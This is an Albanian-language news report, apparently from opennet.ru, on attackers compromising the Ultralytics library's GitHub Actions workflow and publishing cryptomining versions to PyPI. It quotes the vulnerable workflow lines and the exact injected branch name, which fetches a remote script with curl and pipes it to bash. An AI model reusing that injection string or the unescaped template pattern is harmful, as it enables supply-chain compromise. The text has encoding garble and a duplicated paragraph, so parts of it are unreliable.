Kërcënuesit arritën të ekzekutojnë kod me privilegje të procesorëve GitHub Actions në depozitarin e bibliotekës Python Ultralytics, e cila përdoret për të zgjidhur detyra në vizionin kompjuterik, siç janë identifikimi i objekteve në imazhe dhe segmentimi i imazheve. Pas marrjes së qasjes në depo, sulmuesit publikuan disa versionet e reja të Ultralytics në katalogun PyPI, duke përfshirë ndryshime të dëmshme për minimin e kriptovalutave. Gjatë muajit të fundit, biblioteka Ultralytics është shkarkuar më shumë se 6.4 milion herë nga katalogu PyPI.
PĂ«r tĂ« kompromentuar depo, u shfrytĂ«zua njĂ« dobĂ«si nĂ« paketĂ«n ultralytics-actions, e cila pĂ«rdoret pĂ«r tĂ« aktivizuar automatikisht procesorĂ«t kur kryhen veprime tĂ« caktuara me depozitarin nĂ« GitHub, duke pĂ«rdorur mekanizmin GitHub Actions. NĂ« projektin ultralytics, procesori i prekshĂ«m ishte lidhur me ngjarjen pull_request_target dhe aktivizohej me marrĂ«veshjen e kĂ«rkesave tĂ« reja pull. NĂ« veçanti, pĂ«r formatimin e kodit nĂ« kĂ«rkesat e dĂ«rguara pull, u aktivizua procesori format.yml dhe u ekzekutua kodi i pĂ«rcaktuar nĂ« seksionin "run" nĂ« skedarin action.yml, i cili pĂ«rmbante komanda shell me shabllone zĂ«vendĂ«simi: git pull origin ${{ github.head_ref || github.ref }} git config âglobal user.name "${{ inputs.github_username }}" git config âglobal user.email "${{ inputs.github_email }}"
Si rezultat, emri i degës Git e cila përmendej në kërkesën pull u fut në komandat shell pa ekranuar siç duhet. E rëndësishme është se në gusht në paketën ultralytics-actions u korrigjua një dobësi e ngjashme e lidhur me përdorimin e një vlere të jashtme në funksionin echo: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Për të organizuar ekzekutimin e kodit të tyre në kontekstin e procesorëve GitHub Actions, sulmuesit dërguan një kërkesë pull në depozitarin ultralytics, duke e vendosur si emër të degës: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Sipas pĂ«rputhjes, me ardhjen e kĂ«rkesĂ«s pull, vargu i dhĂ«nĂ« nga sulmuesit "$(âŠ)" u fut nĂ« kod, i cili gjatĂ« ekzekutimit tĂ« procesorit çoi nĂ« ekzekutimin e kodit "curl -sSfL raw.githubusercontent.com/âŠ/file.sh | bash".

Ekzekutimi i kodit në kontekstin e GitHub Actions mund të përdoret për të kapur tokenin e qasjes në depo dhe të dhëna të tjera të ndieshme. Siç fitoi sulmuesit mundësinë për të formuar një version, pasi arritën të ekzekutojnë kodin e tyre në GitHub Actions, ende nuk është e qartë, supozohet se kjo ndodhi falë ndryshimit të procesorit publish.yml (sulmuesit hoqën kontrollin e llogarisë nga e cila lejohet publikimi i versioneve në PyPI) dhe përdorimin e teknikës së helmimit të caches ndërtuese të GitHub Actions për të futur të dhënat e tyre në version.
Versioni i parĂ« i dĂ«mshĂ«m Ultralytics 8.3.41 u publikua nga sulmuesit nĂ« katalogun PyPI mĂ« 4 dhjetor nĂ« 23:51 (MSK) dhe u hoq mĂ« 12:15 tĂ« ditĂ«s tjetĂ«r. NĂ« 15:47 u publikua njĂ« version tjetĂ«r 8.3.42, i cili u hoq nĂ« 16:47. KĂ«shtu, versionet e dĂ«mshme ishin tĂ« disponueshme pĂ«r shkarkim pĂ«r rreth 13 orĂ« (nĂ« njĂ« ditĂ« nĂ« PyPI regjistrohen rreth 250,000 shkarkime tĂ« bibliotekĂ«s ultralytics). Brenda lĂ«shimeve 8.3.41 dhe 8.3.42 kishte kod qĂ« realizonte shkarkimin nga komponenti i jashtĂ«m XMRig pĂ«r minimin e kriptovalutĂ«s. server Zhvilluesit e projektit e patĂ«n shpĂ«tuar problemin dhe formuluan rregullim versionet 8.3.43 dhe 8.3.44, por dy ditĂ« mĂ« vonĂ« u krye njĂ« tjetĂ«r sulm, gjatĂ« tĂ« cilit sulmuesit publikuan sot nĂ« 04:41 dhe 05:27 (MSK) dy versione tĂ« tjera tĂ« dĂ«mshme â 8.3.45 dhe 8.3.46, qĂ« pĂ«rmbanin kod tjetĂ«r pĂ«r minimin. Deri nĂ« pĂ«rfundimin e hetimeve, pĂ«rdoruesve u rekomandohet qĂ« tĂ« presin me instalimin e versioneve tĂ« reja dhe tĂ« stabilizojnĂ« varĂ«sinĂ« e versionit 8.3.44.
Zhvilluesit e projektit kanĂ« zgjidhur problemin dhe kanĂ« formuar versionet korigjuese 8.3.43 dhe 8.3.44, por pas dy ditĂ«sh u realizua njĂ« tjetĂ«r sulm, gjatĂ« tĂ« cilit sulmuesit publikuan sot nĂ« 04:41 dhe 05:27 (MSK) dy versione tĂ« tjera tĂ« dĂ«mshme â 8.3.45 dhe 8.3.46, qĂ« pĂ«rfshijnĂ« njĂ« kod tĂ« ndryshĂ«m pĂ«r minimin. Deri sa tĂ« pĂ«rfundojĂ« hetimi, rekomandohet qĂ« pĂ«rdoruesit tĂ« shmangin instalimin e versioneve tĂ« reja dhe tĂ« ndalojnĂ« nĂ« varĂ«si versionin 8.3.44.
Burimi: opennet.ru
